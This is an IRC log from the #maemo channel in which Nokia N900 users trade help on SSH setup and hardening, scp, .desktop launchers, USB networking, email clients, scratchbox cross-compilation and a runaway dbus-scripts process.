IRC log of #maemo for Tuesday, 2010-09-21

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GAN900OK, how the hell do I configure flashlight-extra?00:12
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GAN900Ah, now it makes sense.00:15
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jpinx-eeepcwhat format does a file have to be in for it to be accepted by the Contact List import application?00:22
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jpinx-eeepcsmhar: have you tried the application called scout. It works for me searching contacts etc00:27
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smharjpinx-eeepc, yes, I tried scout, an I have been using it since its beginning, but now there is a plugin for Contacts:
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smharand there is the custom ring tones plugin:
jpinx-eeepcsmhar: cool - thanks :)00:38
smharjpinx-eeepc, so, still missing a way to create and use groups of contacts00:38
jpinx-eeepcsmhar: you don't happen to know a way to import contacts froma  file?00:39
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smhardepending on the format, you can use, Get Contacts from the contacts menu00:40
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jpinx-eeepcsmhar: yea - I am in there, down to "import contacts file" -- but it does not recognise .csv or .ncc00:41
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smharjpinx-eeepc, last item is Import Contacts, then Import contacts file00:42
jpinx-eeepcyes - but it doesn't reconise the formats00:42
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smharsorry, never tried it myself00:45
jpinx-eeepcok thanks00:45
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pigeonaccording to the offical spec of the n900, "Up to 16 GB of additional storage with an external microSD card", is that real? like a >16GB microsd won't work?01:11
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GAN900pigeon, yes.01:15
GAN90016GB was just what was easily available when the N900 went through certification process.01:15
pigeonGAN900: sorry, you mean >16G will or will not work?01:16
GAN900pigeon, there's no reason 2TB SDXC cards wouldn't work.01:16
GAN900So, yes.01:16
pigeonright, thanks.01:17
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pigeonjust that my 8G is full01:17
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luke-jrno other place to ask this ... :/02:47
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luke-jrgot an old Samsung A740 phone02:47
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luke-jrtwo of them actuall02:47
luke-jrcan I just copy the rootfs from A->B to clone it? XD02:47
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fredrinjacekowski, why OC [l]user?04:34
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nox-OC is just OC, if it really was safe the higher speed would be default dont you think? :)04:38
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paulanagramahi. how can I add a script to the application menu?06:36
johnxmake a .desktop file for it06:37
johnxI think those .desktop files hang out in /usr/share/applications or a subdirectory of that06:37
paulanagramathanks johnx06:38
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paulanagramaok, If I have in the .desktop file the line Exec=/usr/home/, when I click on the icon in the menu, the script is not run... any idea why?06:45
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johnxjust the usual ideas: is it executable? is /usr/home actually where it lives?06:46
paulanagramayou right :-) it is in /home/user not in /usr/home06:47
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johnxalso, /home/user/ is ok, but /home/user/MyDocs/ is not ok, since /home/user/MyDocs is a FAT fs and scripts can't be executed from it (by default) IIRC06:48
paulanagramalet me try06:48
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paulanagramaok. so my script creates a ssh tunnel. if I run the script in terminal, the tunnel is created as it should. if I run the script from the desktop file (clicking on the icon in the app menu), I get the message that the tunnel was created, but if I check with ps, the tunnel is not running. the question is, what's the difference between running a script in terminal and starting it from the app menu?07:09
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paulanagramathis is my script. when I start it from the menu, I get to the ssh tunnel creating command (line 36) because the proxy is enabled (lines 28 to 35), but the tunnel is not created07:25
paulanagramaif I run the same script from terminal, the tunnel is created07:26
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luke-jrpaulanagrama: just use CLI like a man!07:29
paulanagramawhat do you mean luke-jr?07:30
johnxpaulanagrama, my wild guess is that it's $PATH related07:30
luke-jrI think my meaning is perfectly clear, kthx07:30
johnxpaulanagrama, luke-jr is being a troll, like usual. don't worry about him07:31
johnxmy other thought is that ssh might want a controlling terminal07:31
luke-jrjohnx: not if you put -N07:31
johnxhence (thought ... might) :)07:31
luke-jr-N     disable troll mode07:32
johnxand do think all this time I just wasn't passing you the *right* argument. heh07:32
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paulanagramaI'll try to move the script in /usr/sbin and see if that makes any difference07:33
johnxthat would probably be even less good07:33
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johnxif it was me, I'd just start logging all output to a file07:34
johnxbut I've been known to take the easy way out ;)07:34
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paulanagramayeah, just the same in that dir too. under what user are the applications started when you run them from the app menu?07:38
johnxsame user as on the command line07:39
paulanagramaon the command line I run it as root07:39
johnxaaaah, huh07:40
paulanagramahmm. probably I need to get a certificate for ssh under user too07:40
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dr34mhm this is weird07:47
dr34mi woke up this morning booted my n900 but ssh wont work anymore from xterm07:47
dr34mseems to be gone lol :|07:47
johnxuhm, little more detail needed :P07:48
dr34mssh not found ;)07:48
johnxresult of: ls -l /usr/bin/ssh07:48
dr34myeah need to install again but still why its gone in first place07:49
johnxdr34m, yeah, without a bit more detail, all I can do is make something up07:49
dr34mthink my phone develops own life07:50
johnxyour government is taking away any software that enables high security encryption07:50
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johnxand Nokia is helping them07:50
johnxalso, all of us in here are members of the CIA07:50
paulanagramaI think my problem is that I don't have auto login for ssh under the user. I can't fix it now because I need access to the server to copy the certificate... but I think that's the problem07:50
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johnxwell, log into the server as root. root has auto-login, right?07:51
jpinx-eeepcanyone able to help me debug the usb networking between the n900 and my eeepc? I get a positive answer in syslog in the eeepc of the plugin event and the renaming of the interfce, but the n900 dmesg is full of crud :/07:51
jpinx-eeepcsuch as " [115043.418914] musb_hdrc periph: enabled ep7in for int IN, maxpacket 16   "07:51
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jpinx-eeepcand ping is giving me an invalid argument reply07:52
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johnxinvalid argument? full output?07:53
paulanagramajohnx, I have the ssh password, I can ssh under the user too, but I have to create a certificate that resides on the server and then copy it to n900 in .ssh in the user's home... and I can't (I don't know how) to copy the certificate from here. The server is my office computer. I'll do it tomorrow07:53
johnxscp :)07:54
jpinx-eeepcjohnx: black901eeepc:/home/johnp# ping
jpinx-eeepcPING ( 56(84) bytes of data.07:54
jpinx-eeepcping: sendmsg: Invalid argument07:54
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johnxI can't remember if that's normal or not07:55
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paulanagramayeah, I am too lazy now to look into scp or to install filezilla... I'm watching dancing with the stars in the same time. thanks for help johnx, I know what is wrong now07:55
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dr34mapt-get install openssh-client did it again07:55
jpinx-eeepcnot normal - and from the n900 there is no response to pin07:56
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jpinx-eeepcjohnx: this has been an intermittent pita on reconnecting the usb network07:56
johnxpaulanagrama, cheat sheet: scp file.txt
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jpinx-eeepcor use sshfs ;)07:57
johnxsshfs isn't on every machine with openssh ;)07:58
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* jpinx-eeepc admins his fs with sshfs from the eeepc's pcmanfim - too easy07:59
paulanagramaok, let me try.07:59
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jpinx-eeepcjohnx: so what am I looking for in dmesg when I plug the usb network cable into the n900?08:00
jpinx-eeepcwhen I plug or unplug it, the PCsuite option comes up, but there is no sensible entry in dmesg;/08:01
johnxjpinx-eeepc, dunno08:01
MohammadAG51Shapeshifter, reactionfaceoff works now08:02
jpinx-eeepcand there is no syslog to tail08:02
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paulanagramajohnx, so scp file.txt copies the file.txt from the server to the local machine in current dir?08:09
johnxit's just like cp08:09
johnxremote to local: scp remote:/path/file.txt /localdir/08:09
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johnxthe only rule is that, IIRC, at most one can be remote08:10
MohammadAG51actually i think two remotes are possible08:11
MohammadAG51but it will be painfully slow08:11
MohammadAG51you act as a link between the two remotes08:11
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johnxwell you're right. wow. I've been thinking that wasn't possible for the longest time08:12
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paulanagramaYES! works now.08:19
johnxhot sauce08:20
johnxalso: scp is totally invaluable and will change your life :)08:20
paulanagramaI'm using that script to create a secure http tunnel from my n900 to my computer, so if I'm on unsecured wifi somewhere and I want to access my bank I don't have to worry...08:21
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paulanagramanow I have a way to start it easy from the menu!08:21
jpinx-eeepcjohnx: it's gremlinss -- I unplugged and replugged after a minute, was reading dmesg and suddenly it started pinging :/l08:23
johnxI hate USB gremlins08:23
jpinx-eeepcmy n900 is definitely female08:23
jpinx-eeepcmoody and contrary :D08:23
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paulanagramathanks for the help. see ya all08:24
viszpasses out just when you get excited?08:24
johnxbut still the object of your desire08:24
johnx'later paulanagrama08:24
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jpinx-eeepcyea - something like all of that :)08:25
jpinx-eeepcworks a treat when it works :)08:25
johnxand then you fall asleep and it still has battery life for another 6 hours08:26
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jpinx-eeepcheh - you get that problem too?  ;)08:26
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johnxnah, I just plug my N900 in at night. Dunno what you're talking about ...08:27
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ShapeshifterMohammadAG51: yay09:00
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lollooI installed openssh client and server, now how can I run it?09:17
johnxthe server is running09:17
mecelolloo, it's running09:17
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togglesyup, i'm logged in right now09:18
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lolloohow can I login?09:19
jpinx-eeepcjust ssh root@ (or whatever ip shows in ifconfig)09:19
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lollooso if someone logged in my server can take control of my n900..:09:21
rmrfchiki already did09:22
rmrfchikwait, logging off09:22
jpinx-eeepcyou have a password09:22
lollooyes I made a password. is it safe now?09:23
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lolloois there a way to login from my pc witn windows to my N900?09:23
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jpinx-eeepclolloo: putty09:24
lolloowhats that?09:24
jpinx-eeepcgoogle - it's ssh from windows09:24
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lollooso what is the main use of openssh?09:25
jpinx-eeepcis it available for wondows?09:26
johnxlolloo, why did you install openssh if you don't know what to use it for?09:26
lollooI saw the chat here09:27
viszopenssh works with cygwin?09:27
johnxyou can get a shell on your N900 from your desktop. Also, you can use it to transfer files with filezilla or another ftp/sftp client09:28
johnxthat's about it09:28
jpinx-eeepcthere are some differences / restrictions, but with sshfs I can view and modify the fs either locvally or remotely without issues09:29
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lolloowhat is my ip to login?09:30
jpinx-eeepclolloo: in the n900 open a Xterm and do ifconfig -a and you will see the local IP09:31
jpinx-eeepcyou might have to be root - can't remember09:32
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MiXu-yeah you do09:32
lolloohow do I close connection or open it?09:32
lollooi got 1270.0.109:33
johnxto exit type "exit"09:33
lolloois that right IP?09:33
lolloowhere do I type exit in?09:33
johnxyeah, you probably need to read up a bit more on how the command line and networking works in general before this will be very helpful to you09:34
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lollooam using putty.09:34
lolloowhat is my login name?09:34
lollooawesome johnx09:35
lolloonow how do I transfer files?09:35
johnxget an sftp client, like filezilla09:36
togglesi thought is was user?09:36
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johnxroot or user work, but openssh only makes you set a root password09:36
ZogGtoggles dependes, you can config user i think09:36
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johnxI get the feeling that lolloo hasn't set a password for user yet ...09:37
lollooI did09:37
lolloook am using FireFTP,09:37
lolloois it fine?09:37
lolloowhere do I put my IP?09:37
johnxno idea09:38
jpinx-eeepcwhat's the IP09:38
jpinx-eeepcshould be 192.168.#.##09:38
lolloofilezila says unable mmm09:39
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lolloohow do I run the server again?09:40
lolloofrom my phone?09:40
johnxlolloo, it starts automatically09:40
lolloois it running now?09:41
lolloohow do I stop it?09:41
mecelolloo, root, /etc/int.d/ssh stop09:43
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lolloocongrats! worked!09:45
lolloobut how will it run if i close it?09:45
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lollooI couldnt close the server.09:52
lolloo/etc/int.d/ssh stop09:52
lollooi used this09:52
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lolloodidnt close it09:53
MiXu-I think there's some widget in repos that acts as an on/off switch for sshd09:54
johnxlolloo, exit09:55
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johnxlolloo, also:
lollooI would like to get it MiXu-09:55
MiXu-Well then go get it :D09:55
MiXu-It's in extras or extras-testing09:55
johnxMiXu-, I think he's asking for permission09:55
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lollooomg thank you so much guys!09:58
lollooit worked!09:58
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lollooreally funl but which directory is my pictures?09:59
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lolloowhat directory is my images on my N900?10:04
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airits /home/user/MyDocs/.images/ on the n8x010:05
lollooawesome air!10:06
airsame on the n900?10:08
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lollooyes air10:13
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lolloowhere can I find Maemo Notify plugin for xchat?10:23
lolloowhere is it on my phone?10:23
airis it something xchat installed?10:24
airdpkg -l xchat10:25
airthat should display all files xchat installed10:25
airer -L10:25
lolloohaha yes10:26
lollooits not installed10:26
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lolloowhere is the plugin actuel directory?10:26
airno idea10:27
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lollooI found the SSH status and switcher! YAY!10:37
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lolloocan anyone login to my ssh server?10:39
crashanddienot without a hostname, username and password.10:39
lolloocan you know my hostname from here? from IRC?10:40
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Stskeepslolloo: you really don't want other people to ssh to your device10:41
lollooyes I dont... I want to know how to protect it.10:41
Stskeepsput a proper password on it10:41
meceStskeeps, why not? I have people ssh:ing to mine all the time.10:41
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airdisable password, use keys10:41
crashanddielolloo: are you on 3G?10:41
lolloois it possible for you guys to know my hostname from here?10:42
airmove server to a different port10:42
crashanddiebut that only matters if you're directly connected to the internet, without any NAT10:42
crashanddiewhich I highly doubt10:42
mececrashanddie, why would you doubt that?10:42
lollooI am using wirless10:42
mececrashanddie, ok. That's why :)10:42
johnxlolloo, just set a better password10:43
johnxthe one you have now is too easy to guess10:43
jpinx-eeepcI've found the .osso-abook for the contact list, but where is the db of the messages/conversation?10:43
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crashanddiejpinx-eeepc: google el.db10:43
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jpinx-eeepccrashanddie: k10:43
crashanddielolloo: you're using a wireless router, and there's a high probability that it is NAT'd. This means that it is difficult (although not impossible, given the proper configuration) for someone to enter your network and talk to devices directly.10:44
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* lolloo sees10:45
crashanddiethis being said, the issue isn't so much from the outside of the internet, but from your local network.10:45
crashanddieDon't forget that you'll be likely to connect your N900 to a bunch of different hotspots in the future10:46
crashanddieso just change the SSH port to a non-default one, and disable password authentication, only use key-based auth.10:46
Surfain some countries incoming tcp connections are filtered in GPRS networks as well, so it's not necessarily problem there either.. but it depends10:46
johnxok, just start by making up a better password10:46
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Surfachanging server port is waste of time..10:47
crashanddieSurfa: it's not really about incoming tcp connections being filtered10:47
Surfacrashanddie, why not?10:47
crashanddieSurfa: it's about shared IP addresses and the incoming routers (if they're listening at all) not knowing where to send the data10:47
Surfai'm not talking about nat here10:48
crashanddieif everyone had unique IP addresses on 3G/GPRS, then you would still get pwned immensely10:48
crashanddieyou really believe your 3G IP address is unique?10:48
crashanddiethat nobody else is using it?10:48
Surfai dont' need to think so because I know it is10:48
crashanddiewell, then you're a lucky person (well, not really, no use), and your ISP is an idiot10:49
Surfathe time I'm using it, after closing the connection the case is totally different10:49
jpinx-eeepcwhat is the simplest application to read that db from the commandline, and maybe export it in plain text or .csv ?10:49
crashanddiejpinx-eeepc: sqlite10:49
JaffaMorning, all10:49
johnxthe 3 is important10:49
johnxask me how I know ...10:50
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Surfacrashanddie, idiots all over the place, but anyway many operators even that they offer public ip addresses filter out incoming tcp connections in some countries which gives protection of some kind10:50
jpinx-eeepcsounds like bad experience johnx ;910:50
crashanddieSurfa: I've only seen very few ISPs actually provided non-NAT'd services to 3G users. Well, including yours, that's 2.10:50
johnxjpinx-eeepc, I just didn't realize they were different commands. Bashed my head against a wall wondering why my database was 'corrupted'10:50
Surfawelcome to finland10:50
johnxcrashanddie, 310:50
Surfahere we have this thing called "reilu meininki"10:51
tobis87crashanddie: Hi, any news yet on the wireless injection driver?10:51
jpinx-eeepcjohnx: ok - thanks10:51
crashanddietobis87: working on it, but life got in the way, I can email it if you want10:51
crashanddieit's not neatly packaged, but should do the trick10:51
Surfait's not that uncommon, many operators offer parallel apn's that provide public ip-addresses for the users that feel to need it10:51
crashanddiekerio has it, he should be able to say if it worked for him or not10:51
Surfaand many natted apn's are suffering from capacity problems in nat tables (in finland)10:52
keriostill haven't tried that :|10:52
tobis87crashanddie: Is it already source, or do you only have the neopwn binaries?10:52
crashanddieonly binaries10:52
kerioi don't have a working usb port and it's my only phone at the moment so...10:52
crashanddieor ASM source if you want :P10:52
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jogais there *any* proper email client for n900?10:53
jogathe default one is not. I'm thinking something like icedove10:54
tobis87crashanddie: Ok, I can wait... It's not that I don't trust it, but I don't like using binary modules without knowing the src in general. I also have compiled the fcam drivers myself, I did had bad cflags inside the makefile -O2 -g10:54
crashanddieso you read the whole openoffice, firefox, and linux source code?10:54
crashanddiepoint taken though, working on it10:55
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tobis87No, it depends. I read changes to drivers. I do trust drivers which come from mainland.10:56
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crashanddieI'm in France, does that count as "mainland"?10:56
merlin1991crashanddie, nah, that counts as something else ;10:57
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crashanddiewhy didn't infobot notice that one?11:00
infobotcrashanddie meant: why didn't infobot notice that regex?11:00
jogalet me rephrase this: is the n900 default mail program the only email program available?11:00
joganot counting easydebian+icedove or such, that business people won't use11:00
crashanddieit's not an e-series phone11:00
crashanddieit's not aimed at business users11:00
merlin1991crashanddie, I bet the ; is some sort of reserved char11:00
crashanddiewhich is something I've been crying about for ages11:01
jogaI know, but no alternative email client?11:01
johnxjoga, I think there might be claws or something. not sure11:01
jogathere's like 5 different browsers11:01
keriobrowsers are cool11:01
kerioemail clients are boring11:01
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crashanddiejoga: which should tell you about the state of fat-client email clients11:01
jogait's not that *I* need it, but I was asked about it11:01
jogaand I admit it would be kind of cool to, say, being able to sort the messages11:02
jogaand if it would even show all the messages there too11:02
crashanddieas opposed to gmail, hotmail, foomail11:02
jogain this case the problem is using lotus notes mail :)11:02
joga(and the webmail for that stinks just as bad as notes itself)11:02
fluxjoga, there appear to be some: qmfmail - The Qt Mail Application, claws-mail - A GTK+ based, lightweight, and fast e-mail client. and trojita - A Qt IMAP e-mail client11:02
flux(there I found by using 'apt-cache search')11:03
flux(these, even)11:03
jogahmm...I guess those don't show up in my fam11:03
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fluxthey could come from extras-devel11:03
fluxin other words, quality not guaranteed :-)11:03
jogak, so nerd solution :)11:03
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fluxyeah, they all come from extras-devel11:04
crashanddiejoga: does notes provide POP/IMAP read access?11:04
jogacrashanddie: yes, imap411:04
fluxapparently there's an itch people want to scratch :)11:04
crashanddiethen use gmail to access it :P11:04 :)11:04
jogait has its own webmail too11:04
crashanddiewebmail != good interface11:05
jogait's simply not acceptable to use gmail for any of this11:06
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crashanddieit isn't?11:06
joga(in this case. I work at the university, and these people's mail don't belong to google)11:06
jogahmm, qmfmail does show up, I guess it's in -testing11:08
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jogaactually someone at some meeting proposed using google calendar and was quickly thwarted by the security folks11:09
jogabut I'll try qmfmail and see if it can handle notes..11:09
crashanddieif you're using notes, you're most probably part of an organisation (or government branch) that buys the IT services from another company11:10
jogawe host the notes servers11:10
jogawe don't host gmail11:11
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jogathere's probably thousands of systems in use here, some more critical than others11:11
crashanddieso the people who work in your IT department are not contracted?11:11
joganotes is something of a burden11:11
crashanddieWell yeah, notes is one of those PITA solutions that overstayed its welcome11:12
jogayeah, no direct replacement exists11:12
crashanddiedo you use it for project management, bug tracking and all too?11:12
jogaand it would be a ... *huge* job to even migrate to it :)11:12
jogait's used for all sorts of things...11:13
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crashanddiemy last contracting gig was just that -- bug tracking on one side in lotus notes, and we were supposed to manually commit them into my company's bugtracker11:13
crashanddieI quickly wrote a python script that would get the new/update fixes, send them as patches to my inbox, queue them up for testing, and would commit them immediately to the real bugtracker11:14
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crashanddieIt's funny though, I was probably doing something illegal by doing that11:15
crashanddiefucking stupid government guideilnes11:15
keriohow's that illegal11:15
crashanddiekerio: I think I read that we weren't allowed to interact with production servers unless the tools used to access them were approved by a manager11:15
crashanddieand signed off by the customer11:16
crashanddietechnically speaking, I wasn't allowed to talk to specific people on the same floor as me -- because I was representing an exterior commercial entity, and they were influential decisionmakers.11:16
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merlin1991sounds like fun11:17
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crashanddieThe day the building flooded, I really felt like just legging it and not telling anyone so they'd drown: "I wasn't allowed to talk to them!!!"11:17
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nidOthe irony of influential decisionmakers who are so easily influenced that you cant talk to them11:17
crashanddienidO: innit11:18
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crashanddienid0: truth is, you're probably more likely to influence decisions by talking to 200 low-levels than 1 high-level.11:18
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crashanddieThe low-levels aren't expecting to be paid off with a villa in the south of france.11:19
jogaqmfmail can handle notes mail better, it seems, but the UI is cramped to say the least11:19
jpinx-eeepcjohnx: ffx sqlite add-on :)11:20
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johnxwow. coolness11:21
meceis there a blacklist app for N900? I've got an anormous list of telemarketing phone numbers.11:21
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jogabut yeah, it "kinda" works at least. the n900 email program simply hid the new messages and called them expunged, and showed two inboxes11:21
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jogaalso funny thing: the usernames for Notes can either be used in short form "johndoe" or long form "John Doe/dept/Our University", and the first time I entered the account info in mail, it didn't complain about long form11:24
joganow that I went to edit it, it says " " is invalid for the field, and the username field is empty, gray, and unmodifiable11:24
jogaso I guess now I have to delete the account and do it again or something...11:24
crashanddieit's thinking you're doing a perl replace11:25
crashanddieperl: Error: "Our University" is an illegal modifier for regex /dept/11:25
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jogait actually says 'Field unable to contain " "'11:26
kerioto be fair, having / in a username is just plain stupid11:26
jogakerio, notes *IS* plain stupid11:26
kerioyeah, that was the logical conclusion11:26
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johnxwell, either Lotus isn't following standards or the mail program isn't ...11:28
merlin1991or both11:29
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jogaqmfmail seems to handle it without problems at least...11:33
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jogait's just unusable otherwise :)11:33
jpinx-eeepcjohnx: fail to read sqlite3 in that add-on:(11:35
johnxbut at least you knew that was something that could happen :)11:36
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jpinx-eeepcjohnx: working on it....11:36
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crashanddiejohnx: lotus notes doesn't follow standards11:39
crashanddiejohnx: / is an illegal character IIRC, and it only works within notse11:39
johnxthen how do people with lotus notes get email from people ... ?11:40
crashanddiethere's an alias11:40
johnxgood guess, but in this case the email client is at fault:
johnxalso, just because '/' is MUST be supported, doesn't mean that it 'SHOULD NOT' be used11:41
fluxjohnx, indeed, because most people just validate for characters that are valid per their gut-feeling11:41
fluxother developers should take that into account.11:42
* johnx phrased that one badly, but doing an s///g would take too long11:42
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johnxwhat I was trying to say was that there are a fair number of situations that 'MUST' be supported, even though the next line of the spec says that they 'SHOULD NOT' be used11:45
johnxsuch as, case sensitivity in the local part of the email address11:45
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fluxwell, servers can provide different interpretations of valid addresses, but surely email clients should be as permissive as possible?11:51
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fluxand by different interpretations I of course mean the servers that finally deliver the messages to the inboxes; the intermediate servers again should be as permissive as possible11:52
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psycho_oreosany of you guys played with titan's power kernel? especially in the form of custom compiling and hopefully tinkered with extraversion tags11:55
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mecehmm can you make an infoprint stay longer than the 3 seconds or so it does by default I wonder?12:11
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meceaaaaw crap! trying to find reference manuals for python osso stuff is making me want to do drugs!!12:23
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Appiahmece: do drugs once you find it12:25
Appiahyou'll make killer apps!12:25
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lolloohow can I turn ON xchat plugin maemo notifier?12:36
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meceok apparently infoprints can't be easily customized :/:/:/12:38
MNZgood morning #maemo!12:38
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mecejust a tiny "timeout" variable with a default value would have made that function sooo much better12:38
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lolloohow can I turn ON xchat plugin maemo notifier? it's there but not working!12:41
lolloogood morning MNZ12:41
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mecetimeless_pidgin, what's up?12:42
timeless_pidginI'm looking for a place where apple (probably steve jobs) explained the mistakes made by cell phone vendors12:43
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timeless_pidginIt was probably the initial iphone launch12:43
johnxyou mean where he explained about people not needing copy+paste or where he explained that people were holding cell phones wrong?12:44
timeless_pidginNot iphone 412:45
timeless_pidginWhere he said that vendors let networks dictate features12:45
timeless_pidginAnd how that led to garbage12:45
timeless_pidginIirc there were about 5 points12:46
nidOah yes, shortly before the networks got apple to make tethering a lockable option that requires an extra payment to the carrier + itunes to unlock.12:46
timeless_pidginIgnore that12:46
timeless_pidginIt's the principle that counts12:47
timeless_pidginLink help wanted12:47
mecetimeless_pidgin, this one perhaps?
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timeless_pidgin perhaps? Dunno12:48
timeless_pidginIs there a standalone youtube app?12:48
timeless_pidginThat supports urls like the above?12:48
mecezoutube if you talk about n90012:48
meceni idea actually.12:49
timeless_pidginI have zoutube...12:49
meceI don't remember how it works12:49
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timeless_pidginAh, the hidden search menu item does12:50
meceok damn..12:53
meceI wonder if I can do a while loop that checks whether the phone is ringing...12:53
timeless_pidginMece: my hit is bad, yours sounds promising12:54
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* timeless_pidgin kicks the zootube packager12:55
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timeless_pidginIt isn't a network app, it's multimedia! !12:55
meceoh man. Steve Jobs is quite the douche12:57
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crashanddie_please don't insult people cheaply12:57
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lollooawesome video12:59
dnearyAnyone set up to test a Qt application for Maemo 5 on PR 1.2 here?13:00
dneary <- I'd like to see if we can confirm this bug13:00
povbotBug 10519: qt-maemo-gravity-example has obsolete Qt configuration13:00
dneary(and I'm not set up for it right now)13:00
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timeless_pidginMece: he's an excellent speaker13:01
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lolloohow can I turn ON xchat plugin maemo notifier? it's there but not working!13:05
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kirkumhi...I need help in installing gcc on nokia N900 mobile..13:06
timeless_pidginIt's a waste of space13:07
timeless_pidginUse a real computer13:07
timeless_pidginRent one from the cloud if you don't have one13:07
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kirkumWe need to compile some applications ..13:07
crashanddie_then use scratchbox13:08
crashanddie_or just apt-get install build-essential13:08
timeless_pidginComputers can do that...13:08
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timeless_pidginOddly enough13:08
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kirkumon arm target or on X86 target?13:08
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crashanddie_kirkum: scratchbox enables cross-compilation13:08
ALoGeNomorning guys13:09
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timeless_pidginComputers are flexible!13:09
KhertanMorning all13:09
crashanddie_kirkum: meaning you get the speed of your desktop computer with the toolkit present on your N900. The apps you compile in scratchbox run fine on your N900#13:09
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ALoGeNotimeless_pidgin,  are you so kind of paste the link of the last day please, my firefox was crased and lost all the tabs :/13:10
crashanddie_interesting, mbatle & w00t_ just got out of a meeting?13:10
kirkumhoo.. im a newbie here.. soo if i can compile something on scratchbox.. will that work on n900 too? without installin gcc on n900...13:10
timeless_pidginAlogeno: read the topic13:10
timeless_pidginIt has a link to logs13:10
ALoGeNoi cant find the madde qemu stuff with google :(13:10
crashanddie_kirkum: that's just what I said, isn't it?13:10
* Khertan is looking for a d-bus org.freedesktop.Notification to help him to understand the dbus-callback-default isn't working on Khweeteur13:10
* Khertan is looking for a d-bus org.freedesktop.Notification expert to help him to understand the dbus-callback-default isn't working on Khweeteur13:11
timeless_pidginMece: not part 413:11
w00t_crashanddie_: nope, network just exploded at a guess13:11
timeless_pidginMaybe 5?13:11
timeless_pidginMece: can i get you to scan forward? :(13:11
kirkumcrashanddie: okay ill try that :D13:11
ALoGeNo:D thank you one more time timeless_pidgin13:12
crashanddie_kirkum: scratchbox can be a bit finicky to setup initially, but once it's setup and working it really is "good" (note the quotes). For most people, it's infinitely better than compiling on the N90013:12
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alteregoscratchbox is a pain, but when you've got a good setup, mines VM with ssh, it's usable :)13:14
crashanddie_yeah, definitely install it in a VM13:14
crashanddie_or git the whole /scratchbox install13:14
crashanddie_it's so easy to break, lol...13:14
crashanddie_"You rebooted without properly unmounting Scratchbox, therefor it has commited Harakiri"13:15
alteregoheh ..13:15
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kirkumcrashanddie: okay.. thing is that my application to be deployed on mobile uses a "QProcess".. which requires a toolkit to be installed on the device..13:16
keriois there a virtualbox vm ready to use?13:16
crashanddie_then just install the toolkit in scratchbox13:16
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crashanddie_kirkum: scratchbox attempts to be an emulator, in the way that you get an ARM cpu that can do most of the things the N900's CPU can do13:17
kirkumyaa.. thats were i was lil confused.. now ill try that.. thanks..13:17
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timeless_pidginMADE is supposed to be a complete sdk solution13:22
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timeless_pidginIncluding scratchbox13:22
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timeless_pidginThe demos i've had show it mostly working13:23
timeless_pidginAlthough the demos didn't include installing it13:23
Stskeepstimeless_pidgin: is /usr/bin/ld: warning: ../../staticlib/libmozipc_s.a(GeckoChildProcessHost.o) uses 2-byte wchar_t yet the output is to use 4-byte wchar_t; use of wchar_t values across objects may fail13:24
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mecetimeless_pidgin, sorry was afk13:35
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meceand going akf again...13:36
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timeless_pidginSp3000: ping. Email. Please poke james. I'd like to send that today. Preferably w/ the missing link13:37
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userconnected with irssi from a n90013:51
uservery nice13:52
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userbut no virtual keyboard13:52
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jpinx-eeepcuser: should be if you are in an Xterm13:54
jpinx-eeepcuser: and you might want to change your nick ;)13:54
merlin1991why would you want a virtual one when you have a full qwerty one?13:54
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maxjayes its a xterm13:56
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ALoGeNohey after install madde that was installed by default in /root/.madde and looks like i need set some path, cant find qemu from madlib (mad and mad admin i was linked in /bin (but that is only to test) i need to set something after install MADDE?, i must install made inside of sdk virtual image or i can run it from my pc?14:00
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ALoGeNotimeless_pidgin,  can you help me please? :P14:02
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xkr47excess flood in two seconds.. nice14:02
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alteregoCan someone point me to the git repo for the active background example?14:06
DocScrutinizerdbus-scripting is acting up, rendering my device unresponsive, with 900+ processes of which 800 are 'dbus-scripts'14:06
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Shadikkakillall dbus-script and see what breaks? ;)14:07
DocScrutinizernothing breaks14:07
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lcukalterego, its in hildon-home I believe (the core test one) otherwise, get live wallpaper package or xsnow or xscreensavers or liqflow14:08
DocScrutinizeractually after SIX(!) `killall dbus-scripts` it finally managed to kill the processes faster than they respawn, and 7th killall said "no processes found to kill"14:08
alteregolcuk: Cheers :)14:08
meceDocScrutinizer, hee nice!14:08
alteregoAlso, is microb source actually up-to-date yet?14:08
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xkr47DocScrutinizer, while killall dbus-scripts ; do :; done ;)14:11
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xkr47;) not part of command14:11
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DocScrutinizers/:/echo "WTF?!"/14:12
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xkr47yeah definately14:12
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jacekowskiDocScrutinizer: while true;do killall -9 dbus-scripts;done14:21
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* satmd wonders if this is the same hwoarang that I know from another comunity14:22
satmdthat'd be a surprise14:22
timeless_pidginAlogeno : i'm on vacation14:23
timeless_pidginComplain to the madde team14:23
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timeless_pidginBut please don't try to outsmart the installer14:23
timeless_pidginDo everything *precisely* as instructed14:23
alteregolcuk: can't find it :(14:24
timeless_pidginNot sure what you mean by microb and up to date14:24
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timeless_pidginIt is of course about a year old as gecko's go...14:25
timeless_pidginAnd there have been a couple of changes to the ui post pr1.214:25
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hwoarangsatmd: depends on the community14:28
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satmdhwoarang: well, if you knew my nick, that'd me a yes :P14:30
satmdif not, guess no14:30
satmdeven though I've active on b.g.o14:30
satmd(a little)14:30
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ALoGeNocan some one helpme with that?14:35
* DocScrutinizer mumbles about being an idiot to store shellscripts at /etc/dbus-scripts.d/*14:35
ALoGeNomad remote -r rx51-fremantle-pr12 poweron14:35
ALoGeNoCannot create new QEMU!14:35
ALoGeNoSome of the ports (6666, 13219, 14168) needed for QEMU not available!14:35
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mecegrr argh! Ok so apparently there are Answer() and Release() methods in the dbus call interface. What other methods are there? Is there a reference manual for this?14:36
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RST38hPort 6666 has probably been occupied by Satan14:37
RST38h13219 and 14168 look like random numbers though, so maybe your system does not let you open ports unless you are root?14:37
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meceaho CallStatus ftw!14:38
DocScrutinizerRST38h: satan is a port *scanner*, no port occupier :-P14:38
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DocScrutinizerRST38h: also seems 6665..6669 are assigned to IRCU14:40
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lcukalterego, then you arent looking hard enough :P14:44
alteregolcuk: probably not :P14:45
lcuktry that for some extra info and a direct link14:45
lcukbut you are best plugging into vasvlads live wallpaper stuff14:45
lcukhe has a Settings configuration dialog and all that stuff14:46
RST38hDoc: I know :)14:46
RST38hDoc: That is what I meant by Satan, too14:46
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lcukuse the info there to create your own live wallpapers that plugin14:48
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crashanddie_DocScrutinizer: "You are see me?"14:50
DocScrutinizercrashanddie_: sorry, please rephrase14:50
crashanddie_I dunno, you said "IRCU"14:51
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DocScrutinizerok, confirmed: 1) /me is an idiot, 2) dbus-scripting works just nice as long as you don't store random crap to /etc/dbus-scripts.d/*14:55
xkr47you put your image gallery there ? :D14:57
